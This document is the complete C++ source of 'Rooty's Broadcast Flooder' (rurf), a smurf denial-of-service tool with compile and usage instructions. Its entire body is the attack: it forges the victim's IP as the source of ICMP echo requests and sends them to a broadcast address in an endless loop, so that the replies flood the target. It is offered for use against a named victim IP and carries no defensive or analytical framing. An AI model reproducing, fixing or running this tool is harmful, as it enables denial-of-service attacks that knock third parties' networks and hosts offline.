Rurf.c is a broadcast ping (smurf) dos attack.
2cf90df5949d53884dab52db0eac00955755938da4819131e322410cb1c210a4
/* Rooty's Broadcast Flooder -Aka."rurf"
* Rooty@netflood.net
* http://www.netflood.net
* "We Won't Waste Your Time."
* To compile: g++ -o rurf rurf.c
* Usage: ./rurf <Victim IP> <broadcast address>
*/
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <iostream.h>
#include <sys/types.h>
#include <unistd.h>
unsigned short in_checksum(unsigned short*,int );
void counter(unsigned int);
void banner(void);
void main(int argc,char **argv)
{
banner();
int sockfd;
const int on = 1;
int datalen, packlen, targetlen;
datalen = 0;
char *targetip;
char *broadcastip;
char readbuffer[1500];
char sendbuffer[1500];
struct sockaddr_in broadcast,target;
struct iphdr *ipheader;
struct icmp *icmpheader;
if(argc != 3)
{
cout<<"\n\nbash#./rurf <Target> <Broadcast>\n\n";
return 0;
}
if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
cout<<"\n\n Are you root?\n\n";
return 0;
}
setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on));
broadcastip = argv[2];
targetip= argv[1];
broadcast.sin_family = AF_INET;
broadcast.sin_family = htons(0);
if(inet_pton(AF_INET, broadcastip, &broadcast.sin_addr) <= 0)
{
cout<<"\n\nFehler: inet_pton() broadcastip\n\n";
return 0;
}
if(inet_pton(AF_INET, targetip, &target.sin_addr) <= 0)
{
cout<<"\n\nFehler: inet_pton() targetip\n\n";
return 0;
}
ipheader = (struct iphdr *)sendbuffer;
icmpheader = (struct icmp *) (sendbuffer + sizeof(struct iphdr));
ipheader->ihl = 5;
ipheader->version = 4;
ipheader->tos = 0;
ipheader->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) +
datalen);
ipheader->id = 0;
ipheader->frag_off = 0;
ipheader->ttl = 200;
ipheader->protocol = IPPROTO_ICMP;
ipheader->check = in_checksum( (u_short *)ipheader, sizeof(struct iphdr));
ipheader->saddr = target.sin_addr.s_addr;
ipheader->daddr = broadcast.sin_addr.s_addr;
cout<<"\n\nPing from "<<argv[1]<<" to the broadcast "<<argv[2]<<" are sent";
cout<<"\nPings: ";
cout<<"0000000000";
for(unsigned int i= 0;;i++)
{
icmpheader->icmp_type = ICMP_ECHO;
icmpheader->icmp_code = 0;
icmpheader->icmp_seq = i;
icmpheader->icmp_cksum = in_checksum( (u_short *)icmpheader,
sizeof(struct icmp) + datalen);
sendto(sockfd,sendbuffer,sizeof(struct iphdr) + sizeof(struct icmphdr)
+ datalen,0,(struct sockaddr *)&broadcast,sizeof(struct sockaddr));
counter(i);
}
cout<<"\n";
return 0;
}
unsigned short in_checksum(unsigned short *addr,int len )
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while(nleft > 1 )
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >>16);
answer = -sum;
return (answer);
}
void banner(void)
{
cout<<"\n#####################################";
cout<<"\n# Rooty's Broadcast Flooder (Smurf) #";
cout<<"\n# http://www.netflood.net #";
cout<<"\n# We won't waste your time #";
cout<<"\n# Rooty@netflood.net #";
cout<<"\n#####################################";
}
void counter(unsigned int i)
{
if(i < 10)
{
cout<<'\b';
}
if(i >= 10 && i < 100)
{
cout<<"\b\b";
}
if(i >= 100 && i < 1000)
{
cout<<"\b\b\b";
}
if(i >= 1000 && i < 10000)
{
cout<<"\b\b\b\b";
}
if(i >= 10000 && i < 100000)
{
cout<<"\b\b\b\b\b";
}
if(i >= 100000 && i < 1000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 1000000 && i < 10000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 10000000 && i < 100000000)
{
cout<<"\b\b\b\b\b\b\b";
}
if(i >= 100000000 && i < 1000000000)
{
cout<<i;
}
if(i >= 1000000000 )
{
cout<<"\b\b\b\b\b\b\b\b";
}
cout<<i;
}